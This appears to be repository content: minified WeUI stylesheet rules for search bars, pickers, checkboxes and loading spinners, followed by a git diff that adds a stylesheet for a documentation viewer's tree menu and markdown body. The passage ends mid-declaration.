12px);-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%)}.weui-search-bar__words{-webkit-flex-shrink:0;flex-shrink:0;margin-right:8px;color:#07c160;color:var(--weui-BRAND);font-size:17px}.weui-search-bar__label{position:absolute;top:0;right:0;bottom:0;left:0;z-index:2;font-size:0;border-radius:6px;display:-webkit-box;display:-webkit-flex;display:flex;-webkit-box-align:center;-webkit-align-items:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;justify-content:center;color:rgba(0,0,0,.3);color:var(--weui-FG-2);font-size:17px;background:#fff;background:var(--weui-BG-2)}.weui-search-bar__label .weui-search-bar__label__text{display:inline-block;vertical-align:middle}.weui-search-bar__back-btn,.weui-search-bar__cancel-btn{display:none}.weui-search-bar__back-btn{margin-right:12px}.weui-search-bar__cancel-btn{font-size:17px;-webkit-flex-shrink:0;flex-shrink:0;margin-left:12px;color:#576b95;color:var(--weui-LINK)}.weui-search-bar__mask{z-index:5;pointer-events:none;position:relative;font-size:17px;height:calc(1.41176471em + 12px - 2px)}.weui-search-bar__mask::after{content:"";position:absolute;top:0;bottom:0;right:0;width:40px;border-radius:6px;background:-webkit-linear-gradient(right,#fff,#fff 17%,hsla(0,0%,100%,0));background:-webkit-linear-gradient(right,var(--weui-BG-2),var(--weui-BG-2) 17%,hsla(0,0%,100%,0));background:linear-gradient(270deg,#fff,#fff 17%,hsla(0,0%,100%,0));background:linear-gradient(270deg,var(--weui-BG-2),var(--weui-BG-2) 17%,hsla(0,0%,100%,0))}input[type="search"]::-webkit-search-cancel-button,input[type="search"]::-webkit-search-decoration,input[type="search"]::-webkit-search-results-button,input[type="search"]::-webkit-search-results-decoration{display:none}.weui-search-bar_outlined{background:#fff;background:var(--weui-BG-2)}.weui-search-bar_outlined .weui-search-bar__back-btn,.weui-search-bar_outlined .weui-search-bar__cancel-btn{display:-webkit-box;display:-webkit-flex;display:flex;-webkit-box-align:center;-webkit-align-items:center;align-items:center}.weui-search-bar_outlined .weui-search-bar__cancel-btn{font-size:15px}.weui-search-bar_outlined .weui-search-bar__form{background:transparent}.weui-search-bar_outlined .weui-search-bar__form::before{content:" ";position:absolute;top:0;left:0;width:200%;bottom:-100%;border:1px solid rgba(0,0,0,.1);border:1px solid var(--weui-FG-3);color:rgba(0,0,0,.1);color:var(--weui-FG-3);-webkit-transform-origin:0 0;transform-origin:0 0;-webkit-transform:scale(.5);transform:scale(.5);border-right:0;border-radius:12px;border-top-right-radius:0;border-bottom-right-radius:0}.weui-search-bar_outlined .weui-search-bar__box{visibility:visible;padding-left:12px}.weui-search-bar_outlined .weui-search-bar__search-btn{display:-webkit-box;display:-webkit-flex;display:flex;-webkit-box-align:center;-webkit-align-items:center;align-items:center;min-width:0;padding:8px 12px;font-size:15px;font-weight:400;line-height:1.33333;border-radius:6px;border-top-left-radius:0;border-bottom-left-radius:0}.weui-search-bar_homepage{padding:12px 20px}.weui-search-bar_homepage .weui-search-bar__input{padding:12px 0}.weui-search-bar_homepage .weui-search-bar__form{border-radius:8px}.weui-search-bar_homepage .weui-search-bar__box{visibility:visible;padding-left:16px;padding-right:16px}.weui-search-bar_homepage .weui-icon-camera.weui-icon-camera{width:2em;height:2em;color:rgba(0,0,0,.9);color:var(--weui-FG-0)}.weui-search-bar_homepage .weui-search-bar__input_text{color:rgba(0,0,0,.3);color:var(--weui-FG-2)}.weui-search-bar_filled-grey{background-color:#fff;background-color:var(--weui-BG-2)}.weui-search-bar_filled-grey .weui-search-bar__form,.weui-search-bar_filled-grey .weui-search-bar__label{background-color:#ededed}.wx-root[data-weui-theme="dark"] .weui-search-bar_filled-grey .weui-search-bar__form,.wx-root[data-weui-theme="dark"] .weui-search-bar_filled-grey .weui-search-bar__label,body[data-weui-theme="dark"] .weui-search-bar_filled-grey .weui-search-bar__form,body[data-weui-theme="dark"] .weui-search-bar_filled-grey .weui-search-bar__label{background-color:#383838}@media (prefers-color-scheme:dark){.wx-root:not([data-weui-theme="light"]) .weui-search-bar_filled-grey .weui-search-bar__form,.wx-root:not([data-weui-theme="light"]) .weui-search-bar_filled-grey .weui-search-bar__label,body:not([data-weui-theme="light"]) .weui-search-bar_filled-grey .weui-search-bar__form,body:not([data-weui-theme="light"]) .weui-search-bar_filled-grey .weui-search-bar__label{background-color:#383838}}.weui-search-bar_filled-grey .weui-search-bar__mask::after{background:-webkit-linear-gradient(right,#ededed,#ededed 17%,hsla(0,0%,100%,0));background:linear-gradient(270deg,#ededed,#ededed 17%,hsla(0,0%,100%,0))}.wx-root[data-weui-theme="dark"] .weui-search-bar_filled-grey .weui-search-bar__mask::after,body[data-weui-theme="dark"] .weui-search-bar_filled-grey .weui-search-bar__mask::after{background:-webkit-linear-gradient(right,#383838,#383838 17%,hsla(0,0%,100%,0));background:linear-gradient(270deg,#383838,#383838 17%,hsla(0,0%,100%,0))}@media (prefers-color-scheme:dark){.wx-root:not([data-weui-theme="light"]) .weui-search-bar_filled-grey .weui-search-bar__mask::after,body:not([data-weui-theme="light"]) .weui-search-bar_filled-grey .weui-search-bar__mask::after{background:-webkit-linear-gradient(right,#383838,#383838 17%,hsla(0,0%,100%,0));background:linear-gradient(270deg,#383838,#383838 17%,hsla(0,0%,100%,0))}}.weui-picker{position:fixed;width:100%;box-sizing:border-box;left:0;bottom:0;z-index:5000;background-color:#fff;background-color:var(--weui-BG-2);padding-left:0;padding-left:constant(safe-area-inset-left);padding-left:env(safe-area-inset-left);padding-right:0;padding-right:constant(safe-area-inset-right);padding-right:env(safe-area-inset-right);-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-transform:translateY(100%);transform:translateY(100%);-webkit-transition:-webkit-transform .3s;transition:-webkit-transform .3s;transition:transform .3s;transition:transform .3s,-webkit-transform .3s;outline:0}.weui-picker .weui-half-screen-dialog__hd{padding-left:24px;padding-right:24px}.weui-picker .weui-half-screen-dialog__bd{overflow:visible}.weui-picker__hd{display:-webkit-box;display:-webkit-flex;display:flex;padding:16px;padding:16px calc(16px + constant(safe-area-inset-right)) 16px calc(16px + constant(safe-area-inset-left));padding:16px calc(16px + env(safe-area-inset-right)) 16px calc(16px + env(safe-area-inset-left));position:relative;text-align:center;font-size:17px;line-height:1.4}.weui-picker__hd::after{content:" ";position:absolute;left:0;bottom:0;right:0;height:1px;border-bottom:1px solid rgba(0,0,0,.1);border-bottom:1px solid var(--weui-FG-3);color:rgba(0,0,0,.1);color:var(--weui-FG-3);-webkit-transform-origin:0 100%;transform-origin:0 100%;-webkit-transform:scaleY(.5);transform:scaleY(.5)}.weui-picker__bd{display:-webkit-box;display:-webkit-flex;display:flex;position:relative;background-color:#fff;background-color:var(--weui-BG-2);height:240px;overflow:hidden}.weui-picker__group{-webkit-box-flex:1;-webkit-flex:1;flex:1;position:relative;height:100%;font-size:17px}.weui-picker__group:first-child .weui-picker__indicator{left:8px;border-top-left-radius:8px;border-bottom-left-radius:8px}.weui-picker__group:last-child .weui-picker__indicator{right:8px;border-top-right-radius:8px;border-bottom-right-radius:8px}.weui-picker__mask{position:absolute;top:0;left:0;width:100%;height:100%;margin:0 auto;z-index:3;background-image:-webkit-linear-gradient(top,hsla(0,0%,100%,.95),hsla(0,0%,100%,.6)),-webkit-linear-gradient(bottom,hsla(0,0%,100%,.95),hsla(0,0%,100%,.6));background-image:linear-gradient(180deg,hsla(0,0%,100%,.95),hsla(0,0%,100%,.6)),linear-gradient(0deg,hsla(0,0%,100%,.95),hsla(0,0%,100%,.6));background-position:top,bottom;background-size:100% 112px;background-repeat:no-repeat;-webkit-transform:translateZ(0);transform:translateZ(0)}.wx-root[data-weui-theme="dark"] .weui-picker__mask,body[data-weui-theme="dark"] .weui-picker__mask{background-image:-webkit-linear-gradient(top,rgba(25,25,25,.95),rgba(25,25,25,.6)),-webkit-linear-gradient(bottom,rgba(25,25,25,.95),rgba(25,25,25,.6));background-image:linear-gradient(180deg,rgba(25,25,25,.95),rgba(25,25,25,.6)),linear-gradient(0deg,rgba(25,25,25,.95),rgba(25,25,25,.6))}@media (prefers-color-scheme:dark){.wx-root:not([data-weui-theme="light"]) .weui-picker__mask,body:not([data-weui-theme="light"]) .weui-picker__mask{background-image:-webkit-linear-gradient(top,rgba(25,25,25,.95),rgba(25,25,25,.6)),-webkit-linear-gradient(bottom,rgba(25,25,25,.95),rgba(25,25,25,.6));background-image:linear-gradient(180deg,rgba(25,25,25,.95),rgba(25,25,25,.6)),linear-gradient(0deg,rgba(25,25,25,.95),rgba(25,25,25,.6))}}.weui-picker__indicator{height:56px;position:absolute;top:112px;left:0;right:0;z-index:1;background:#f7f7f7;background:var(--weui-BG-3)}.weui-picker__content{position:absolute;top:0;left:0;width:100%;z-index:2}.weui-picker__item{height:56px;line-height:56px;text-align:center;color:rgba(0,0,0,.9);color:var(--weui-FG-0);text-overflow:ellipsis;white-space:nowrap;overflow:hidden}.weui-picker__item_disabled{color:rgba(0,0,0,.55);color:var(--weui-FG-1)}@-webkit-keyframes a{from{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes a{from{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{-webkit-transform:translateZ(0);transform:translateZ(0)}}.weui-animate-slide-up,.weui-animate_slide-up{-webkit-animation:a ease .3s forwards;animation:a ease .3s forwards}@-webkit-keyframes b{from{-webkit-transform:translateZ(0);transform:translateZ(0)}to{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes b{from{-webkit-transform:translateZ(0);transform:translateZ(0)}to{-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}.weui-animate-slide-down,.weui-animate_slide-down{-webkit-animation:b ease .3s forwards;animation:b ease .3s forwards}@-webkit-keyframes c{from{opacity:0}to{opacity:1}}@keyframes c{from{opacity:0}to{opacity:1}}.weui-animate-fade-in,.weui-animate_fade-in{-webkit-animation:c ease .3s forwards;animation:c ease .3s forwards}@-webkit-keyframes d{from{opacity:1}to{opacity:0}}@keyframes d{from{opacity:1}to{opacity:0}}.weui-animate-fade-out,.weui-animate_fade-out{-webkit-animation:d ease .3s forwards;animation:d ease .3s forwards}.weui-transition.weui-mask{-webkit-transition:opacity .3s,visibility .3s;transition:opacity .3s,visibility .3s;opacity:0;visibility:hidden}.weui-transition.weui-half-screen-dialog{-webkit-transition:-webkit-transform .3s;transition:-webkit-transform .3s;transition:transform .3s;transition:transform .3s,-webkit-transform .3s;-webkit-transform:translateY(100%);transform:translateY(100%)}.weui-transition_show.weui-mask{opacity:1;visibility:visible}.weui-transition_show.weui-half-screen-dialog{-webkit-transform:translateY(0);transform:translateY(0)}.weui-agree{display:-webkit-inline-box;display:-webkit-inline-flex;display:inline-flex;vertical-align:bottom;max-width:100%;text-align:left;word-wrap:break-word;-webkit-hyphens:auto;hyphens:auto;line-height:1.4;font-size:14px;-webkit-tap-highlight-color:rgba(0,0,0,0)}.weui-agree a,.weui-agree navigator{color:#576b95;color:var(--weui-LINK)}.weui-agree navigator{display:inline}.weui-agree.weui-wa-hotarea::after{min-height:36px}.weui-agree__text{color:rgba(0,0,0,.55);color:var(--weui-FG-1);margin-left:4px;min-width:0}.weui-agree__checkbox{-webkit-appearance:none;appearance:none;display:inline-block;border:0;outline:0;vertical-align:middle;width:1em;height:0.98em;font-size:20px;-webkit-flex-shrink:0;flex-shrink:0;margin-top:0;-webkit-mask:none;mask:none;background:transparent url("data:image/svg+xml,%3Csvg width='25' height='24' viewBox='0 0 25 24' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Crect x='1.1' y='0.6' width='22.8' height='22.8' rx='11.4' stroke='black' stroke-opacity='0.3' style='stroke:black;stroke-opacity:0.3;' stroke-width='1.2'/%3E%3C/svg%3E%0A") 50% 50% no-repeat;background-size:100% 1em}.wx-root[data-weui-theme="dark"] .weui-agree__checkbox,body[data-weui-theme="dark"] .weui-agree__checkbox{background-image:url("data:image/svg+xml,%3Csvg width='25' height='24' viewBox='0 0 25 24' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Crect x='1.1' y='0.6' width='22.8' height='22.8' rx='11.4' stroke='white' stroke-opacity='0.3' style='stroke:white;stroke-opacity:0.3;' stroke-width='1.2'/%3E%3C/svg%3E%0A")}@media (prefers-color-scheme:dark){.wx-root:not([data-weui-theme="light"]) .weui-agree__checkbox,body:not([data-weui-theme="light"]) .weui-agree__checkbox{background-image:url("data:image/svg+xml,%3Csvg width='25' height='24' viewBox='0 0 25 24' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Crect x='1.1' y='0.6' width='22.8' height='22.8' rx='11.4' stroke='white' stroke-opacity='0.3' style='stroke:white;stroke-opacity:0.3;' stroke-width='1.2'/%3E%3C/svg%3E%0A")}}.weui-agree__checkbox[disabled]{opacity:.3}@supports (-webkit-overflow-scrolling:touch){.weui-agree__checkbox{margin-top:-.05em}}.weui-agree__checkbox-check{opacity:0;position:absolute;width:1px;height:1px;overflow:hidden}.weui-agree__checkbox-check[aria-checked="true"]+.weui-agree__checkbox,.weui-agree__checkbox:checked{color:#07c160;color:var(--weui-BRAND)}.weui-agree__checkbox-check[aria-checked="true"]+.weui-agree__checkbox,.weui-agree__checkbox:checked,.wx-root[data-weui-theme="dark"] .weui-agree__checkbox-check[aria-checked="true"]+.weui-agree__checkbox,.wx-root[data-weui-theme="dark"] .weui-agree__checkbox:checked,body[data-weui-theme="dark"] .weui-agree__checkbox-check[aria-checked="true"]+.weui-agree__checkbox,body[data-weui-theme="dark"] .weui-agree__checkbox:checked{background-image:url("data:image/svg+xml,%3Csvg width='25' height='24' viewBox='0 0 25 24' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Crect x='0.5' width='24' height='24' rx='12' fill='%2307C160' style='fill:%2307C160;fill:color(display-p3 0.0275 0.7569 0.3765);fill-opacity:1;'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M10.2712 16.2899L6.5 12.5187L7.44281 11.5759L10.7426 14.8757L18.2851 7.33325L19.2279 8.27606L11.214 16.2899C10.9537 16.5503 10.5316 16.5503 10.2712 16.2899Z' fill='white' style='fill:white;fill-opacity:1;'/%3E%3C/svg%3E%0A")}@media (prefers-color-scheme:dark){.wx-root:not([data-weui-theme="light"]) .weui-agree__checkbox-check[aria-checked="true"]+.weui-agree__checkbox,.wx-root:not([data-weui-theme="light"]) .weui-agree__checkbox:checked,body:not([data-weui-theme="light"]) .weui-agree__checkbox-check[aria-checked="true"]+.weui-agree__checkbox,body:not([data-weui-theme="light"]) .weui-agree__checkbox:checked{background-image:url("data:image/svg+xml,%3Csvg width='25' height='24' viewBox='0 0 25 24' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Crect x='0.5' width='24' height='24' rx='12' fill='%2307C160' style='fill:%2307C160;fill:color(display-p3 0.0275 0.7569 0.3765);fill-opacity:1;'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M10.2712 16.2899L6.5 12.5187L7.44281 11.5759L10.7426 14.8757L18.2851 7.33325L19.2279 8.27606L11.214 16.2899C10.9537 16.5503 10.5316 16.5503 10.2712 16.2899Z' fill='white' style='fill:white;fill-opacity:1;'/%3E%3C/svg%3E%0A")}}.weui-agree_warn .weui-agree__text{color:#fa5151;color:var(--weui-RED)}.weui-agree_animate{-webkit-animation:e .3s 1;animation:e .3s 1}@-webkit-keyframes e{0%{-webkit-transform:translateX(0);transform:translateX(0)}16%{-webkit-transform:translateX(-8px);transform:translateX(-8px)}28%{-webkit-transform:translateX(-16px);transform:translateX(-16px)}44%{-webkit-transform:translateX(0);transform:translateX(0)}59%{-webkit-transform:translateX(-16px);transform:translateX(-16px)}73%{-webkit-transform:translateX(0);transform:translateX(0)}82%{-webkit-transform:translateX(16px);transform:translateX(16px)}94%{-webkit-transform:translateX(8px);transform:translateX(8px)}100%{-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes e{0%{-webkit-transform:translateX(0);transform:translateX(0)}16%{-webkit-transform:translateX(-8px);transform:translateX(-8px)}28%{-webkit-transform:translateX(-16px);transform:translateX(-16px)}44%{-webkit-transform:translateX(0);transform:translateX(0)}59%{-webkit-transform:translateX(-16px);transform:translateX(-16px)}73%{-webkit-transform:translateX(0);transform:translateX(0)}82%{-webkit-transform:translateX(16px);transform:translateX(16px)}94%{-webkit-transform:translateX(8px);transform:translateX(8px)}100%{-webkit-transform:translateX(0);transform:translateX(0)}}.weui-primary-loading{font-size:16px;display:-webkit-inline-box;display:-webkit-inline-flex;display:inline-flex;position:relative;width:1em;height:1em;vertical-align:middle;color:#606060;-webkit-animation:f 1s steps(60) infinite;animation:f 1s steps(60) infinite}.weui-primary-loading::after,.weui-primary-loading::before{content:"";display:block;width:.5em;height:1em;box-sizing:border-box;border:.0875em solid;border-color:currentColor}.weui-primary-loading::before{border-right-width:0;border-top-left-radius:1em;border-bottom-left-radius:1em;-webkit-mask-image:-webkit-linear-gradient(top,#000 8%,rgba(0,0,0,.3) 95%)}.weui-primary-loading::after{border-left-width:0;border-top-right-radius:1em;border-bottom-right-radius:1em;-webkit-mask-image:-webkit-linear-gradient(top,transparent 8%,rgba(0,0,0,.3) 95%)}.weui-primary-loading__dot{position:absolute;top:0;left:50%;margin-left:-.04375em;width:.0875em;height:.0875em;border-top-right-radius:100%;border-bottom-right-radius:100%;background:currentColor}@-webkit-keyframes f{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}@keyframes f{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}100%{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}.weui-primary-loading_brand{color:#07c160;color:var(--weui-BRAND)}.weui-primary-loading_transparent{color:#ededed}.weui-loading{font-size:16px;width:1em;height:1em;display:inline-block;vertical-align:middle;background:transparent url("data:image/svg+xml,%3C%3Fxml version='1.0' encoding='UTF-8'%3F%3E%3Csvg width='80px' height='80px' viewBox='0 0 80 80' version='1.1' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink'%3E%3Ctitle%3Eloading%3C/title%3E%3Cdefs%3E%3ClinearGradient x1='94.0869141%25' y1='0%25' x2='94.0869141%25' y2='90.559082%25' id='linearGradient-1'%3E%3Cstop stop-color='%23606060' stop-opacity='0' offset='0%25'%3E%3C/stop%3E%3Cstop stop-color='%23606060' stop-opacity='0.3' offset='100%25'%3E%3C/stop%3E%3C/linearGradient%3E%3ClinearGradient x1='100%25' y1='8.67370605%25' x2='100%25' y2='90.6286621%25' id='linearGradient-2'%3E%3Cstop stop-color='%23606060' offset='0%25'%3E%3C/stop%3E%3Cstop stop-color='%23606060' stop-opacity='0.3' offset='100%25'%3E%3C/stop%3E%3C/linearGradient%3E%3C/defs%3E%3Cg stroke='none' stroke-width='1' fill='none' fill-rule='evenodd' opacity='0.9'%3E%3Cg%3E%3Cpath d='M40,0 C62.09139,0 80,17.90861 80,40 C80,62.09139 62.09139,80 40,80 L40,73 C58.2253967,73 73,58.2253967 73,40 C73,21.7746033 58.2253967,7 40,7 L40,0 Z' fill='url(%23linearGradient-1)'%3E%3C/path%3E%3Cpath d='M40,0 L40,7 C21.7746033,7 7,21.7746033 7,40 C7,58.2253967 21.7746033,73 40,73 L40,80 C17.90861,80 0,62.09139 0,40 C0,17.90861 17.90861,0 40,0 Z' fill='url(%23linearGradient-2)'%3E%3C/path%3E%3Ccircle id='Oval' fill='%23606060' cx='40.5' cy='3.5' r='3.5'%3E%3C/circle%3E%3C/g%3E%3CanimateTransform attributeName='transform' begin='0s' dur='1s' type='rotate' values='0 40 40;360 40 40' repeatCount='indefinite'/%3E%3C/g%3E%3C/svg%3E%0A") no-repeat;background-size:100%}.weui-btn_loading.weui-btn_primary .weui-loading,.weui-loading.weui-icon_toast,.weui-loading.weui-loading_transparent{background-image:url("data:image/svg+xml,%3C%3Fxml version='1.0' encoding='UTF-8'%3F%3E%3Csvg width='80px' height='80px' viewBox='0 0 80 80' version='1.1' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink'%3E%3Ctitle%3Eloading%3C/title%3E%3Cdefs%3E%3ClinearGradient x1='94.0869141%25' y1='0%25' x2='94.0869141%25' y2='90.559082%25' id='linearGradient-1'%3E%3Cstop stop-color='%23ededed' stop-opacity='0' offset='0%25'%3E%3C/stop%3E%3Cstop stop-color='%23ededed' stop-opacity='0.3' offset='100%25'%3E%3C/stop%3E%3C/linearGradient%3E%3ClinearGradient x1='100%25' y1='8.67370605%25' x2='100%25' y2='90.6286621%25' id='linearGradient-2'%3E%3Cstop stop-color='%23ededed' offset='0%25'%3E%3C/stop%3E%3Cstop stop-color='%23ededed' stop-opacity='0.3' offset='100%25'%3E%3C/stop%3E%3C/linearGradient%3E%3C/defs%3E%3Cg stroke='none' stroke-width='1' fill='none' fill-rule='evenodd' opacity='0.9'%3E%3Cg%3E%3Cpath d='M40,0 C62.09139,0 80,17.90861 80,40 C80,62.09139 62.09139,80 40,80 L40,73 C58.2253967,73 73,58.2253967 73,40 C73,21.7746033 58.2253967,7 40,7 L40,0 Z' fill='url(%23linearGradient-1)'%3E%3C/path%3E%3Cpath d='M40,0 L40,7 C21.7746033,7 7,21.7746033 7,40 C7,58.2253967 21.7746033,73 40,73 L40,80 C17.90861,80 0,62.09139 0,40 C0,17.90861 17.90861,0 40,0 Z' fill='url(%23linearGradient-2)'%3E%3C/path%3E%3Ccircle id='Oval' fill='%23ededed' cx='40.5' cy='3.5' r='3.5'%3E%3C/circle%3E%3C/g%3E%3CanimateTransform attributeName='transform' begin='0s' dur='1s' type='rotate' values='0 40 40;360 40 40' repeatCount='indefinite'/%3E%3C/g%3E%3C/svg%3E%0A")}.weui-mask-loading{display:inline-block;vertical-align:middle;font-size:16px;width:1em;height:1em;-webkit-mask:url("data:image/svg+xml,%3C%3Fxml version='1.0' encoding='UTF-8'%3F%3E%3Csvg width='80px' height='80px' viewBox='0 0 80 80' version='1.1' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink'%3E%3Ctitle%3Eloading%3C/title%3E%3Cdefs%3E%3ClinearGradient x1='94.0869141%25' y1='0%25' x2='94.0869141%25' y2='90.559082%25' id='linearGradient-1'%3E%3Cstop stop-color='%23606060' stop-opacity='0' offset='0%25'%3E%3C/stop%3E%3Cstop stop-color='%23606060' stop-opacity='0.3' offset='100%25'%3E%3C/stop%3E%3C/linearGradient%3E%3ClinearGradient x1='100%25' y1='8.67370605%25' x2='100%25' y2='90.6286621%25' id='linearGradient-2'%3E%3Cstop stop-color='%23606060' offset='0%25'%3E%3C/stop%3E%3Cstop stop-color='%23606060' stop-opacity='0.3' offset='100%25'%3E%3C/stop%3E%3C/linearGradient%3E%3C/defs%3E%3Cg stroke='none' stroke-width='1' fill='none' fill-rule='evenodd' opacity='0.9'%3E%3Cg%3E%3Cpath d='M40,0 C62.09139,0 80,17.90861 80,40 C80,62.09139 62.09139,80 40,80 L40,73 C58.2253967,73 73,58.2253967 73,40 C73,21.7746033 58.2253967,7 40,7 L40,0 Z' fill='url(%23linearGradient-1)'%3E%3C/path%3E%3Cpath d='M40,0 L40,7 C21.7746033,7 7,21.7746033 7,40 C7,58.2253967 21.7746033,73 40,73 L40,80 C17.90861,80 0,62.09139 0,40 C0,17.90861 17.90861,0 40,0 Z' fill='url(%23linearGradient-2)'%3E%3C/path%3E%3Ccircle id='Oval' fill='%23606060' cx='40.5' cy='3.5' r='3.5'%3E%3C/circle%3E%3C/g%3E%3CanimateTransform attributeName='transform' begin='0s' dur='1s' type='rotate' values='0 40 40;360 40 40' repeatCount='indefinite'/%3E%3C/g%3E%3C/svg%3E%0A") 0 0 no-repeat;mask:url("data:image/svg+xml,%3C%3Fxml version='1.0' encoding='UTF-8'%3F%3E%3Csvg width='80px' height='80px' viewBox='0 0 80 80' version='1.1' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink'%3E%3Ctitle%3Eloading%3C/title%3E%3Cdefs%3E%3ClinearGradient x1='94.0869141%25' y1='0%25' x2='94.0869141%25' y2='90.559082%25' id='linearGradient-1'%3E%3Cstop stop-color='%23606060' stop-opacity='0' offset='0%25'%3E%3C/stop%3E%3Cstop stop-color='%23606060' stop-opacity='0.3' offset='100%25'%3E%3C/stop%3E%3C/linearGradient%3E%3ClinearGradient x1='100%25' y1='8.67370605%25' x2='100%25' y2='90.6286621%25' id='linearGradient-2'%3E%3Cstop stop-color='%23606060' offset='0%25'%3E%3C/stop%3E%3Cstop stop-color='%23606060' stop-opacity='0.3' offset='100%25'%3E%3C/stop%3E%3C/linearGradient%3E%3C/defs%3E%3Cg stroke='none' stroke-width='1' fill='none' fill-rule='evenodd' opacity='0.9'%3E%3Cg%3E%3Cpath d='M40,0 C62.09139,0 80,17.90861 80,40 C80,62.09139 62.09139,80 40,80 L40,73 C58.2253967,73 73,58.2253967 73,40 C73,21.7746033 58.2253967,7 40,7 L40,0 Z' fill='url(%23linearGradient-1)'%3E%3C/path%3E%3Cpath d='M40,0 L40,7 C21.7746033,7 7,21.7746033 7,40 C7,58.2253967 21.7746033,73 40,73 L40,80 C17.90861,80 0,62.09139 0,40 C0,17.90861 17.90861,0 40,0 Z' fill='url(%23linearGradient-2)'%3E%3C/path%3E%3Ccircle id='Oval' fill='%23606060' cx='40.5' cy='3.5' r='3.5'%3E%3C/circle%3E%3C/g%3E%3CanimateTransform attributeName='transform' begin='0s' dur='1s' type='rotate' values='0 40 40;360 40 40' repeatCount='indefinite'/%3E%3C/g%3E%3C/svg%3E%0A") 0 0 no-repeat;-webkit-mask-size:cover;mask-size:cover;background-color:currentColor;color:#606060}.weui-slider{padding:15px 18px;-webkit-user-select:none;user-select:none}.weui-slider__inner{position:relative;height:2px;background-color:rgba(0,0,0,.1);background-color:var(--weui-FG-3)}.weui-slider__track{height:100%;background-color:#07c160;background-color:var(--weui-BRAND);width:0}.weui-slider__handler{position:absolute;left:0;top:50%;width:28px;height:28px;margin-left:-14px;margin-top:-14px;border-radius:50%;background-color:#fff;box-shadow:0 0 4px rgba(0,0,0,.1);box-shadow:0 0 4px var(--weui-FG-3)}.weui-slider-box{display:-webkit-box;display:-webkit-flex;display:flex;-webkit-box-align:center;-webkit-align-items:center;align-items:center}.weui-slider-box .weui-slider{-webkit-box-flex:1;-webkit-flex:1;flex:1}.weui-slider-box__value{margin-left:.5em;min-width:24px;color:rgba(0,0,0,.55);color:var(--weui-FG-1);text-align:center;font-size:14px} \ No newline at end of file diff --git a/assets/doc/css/docView.css b/assets/doc/css/docView.css new file mode 100644 index 0000000..13ca8dd --- /dev/null +++ b/assets/doc/css/docView.css @@ -0,0 +1,803 @@ +#body { + overflow: hidden; +} + +.ztree * { + font-size: 14px; + font-family: "Microsoft Yahei", Verdana, Simsun, "Segoe UI Web Light", "Segoe UI Light", "Segoe UI Web Regular", "Segoe UI", "Segoe UI Symbol", "Helvetica Neue", Arial +} + +.ztree { + padding: 0 +} + +.ztree li ul { + margin: 0; + padding: 0; + background-color: #fafafa; +} + +.ztree li { + line-height: 32px; + padding-left: 1em +} + +.ztree li a { + width: 100%; + height: 32px; + padding-top: 0; + padding-right: 0; + color: #666; + box-sizing: border-box; + overflow: hidden; + text-overflow: ellipsis; +} + +.ztree li a::before { + content: " "; + width: 100%; + position: absolute; + left: 0; + user-select: none; + height: 32px; +} + +.ztree li a.curSelectedNode::before { + background: #f1f0f0; +} + +.ztree li a.curSelectedNode::after { + content: ' '; + display: block; + width: 4px; + float: right; + background-color: #5FB878; + height: 32px; + position: relative; +} + +.ztree li a:hover::before { + font-weight: bold; +} + +.ztree li a>span { + position: relative +} + +.ztree li.level0>a { + padding-left: 0; +} + +.ztree li a:hover { + text-decoration: none; + color: #5FB878; +} + +.ztree li a span.button.switch { + visibility: hidden; +} + +.ztree li a span.button.noline_docu { + pointer-events: none; +} + +.ztree.showIcon li a span.button.switch { + visibility: visible +} + +.ztree li a.curSelectedNode { + border: 0; + height: 32px; + font-weight: bold; + color: #5FB878; +} + +.ztree li span { + line-height: 32px; +} + +.ztree li span.button { + margin-top: -7px; + background-image: url("../images/left_menuForOutLook.png"); + *background-image: url("../images/left_menuForOutLook.gif") +} + +.ztree li span.button.switch { + width: 20px; + height: 16px; + z-index: 2 +} + +.ztree li span.button.switch.level0 { + width: 20px; + height: 20px +} + +.ztree li span.button.switch.level1 { + width: 20px; + height: 20px +} + +.ztree li span.button.noline_open { + background-position: 0 0; +} + +.ztree li span.button.noline_close { + background-position: -18px 0; +} + +.ztree li a.tmpTargetNode_inner { + border: none; +} + +.ztree li a.tmpTargetNode_inner::before { + height: 32px; + background-color: #5FB878; + border: 1px solid #009688; + opacity: 1; + filter: alpha(opacity=100); + box-sizing: border-box; +} + +span.tmpzTreeMove_arrow { + margin: 7px 0 0 1em; +} + +#editormd { + box-sizing: border-box; +} + +#leftbar .copyright { + color: #333; + border-top: 1px solid #dddddd; +} + +#leftbar .layui-tab { + margin-bottom: 0; +} + +#content_body>h1:first-child { + color: #393D49; + text-align: center; + font-size: 2rem; + padding-top: 12px; +} + +#searchForm { + padding: 0 10px 10px 10px; + border-bottom: 1px solid #eee; +} + +.searchResultNone { + position: fixed; + top: 50%; + width: 260px; + text-align: center; + color: #c2c2c2; +} + +.searchResultNone .layui-icon { + font-size: 48px; +} + +.searchResultNone p { + margin-top: 4px; + font-size: 1rem; +} + +/* markdown正文 */ + +.markdown-body { + -ms-text-size-adjust: 100%; + -webkit-text-size-adjust: 100%; + color: #333; + overflow: hidden; + font-family: "Microsoft YaHei", Helvetica, "Meiryo UI", "Malgun Gothic", "Segoe UI", 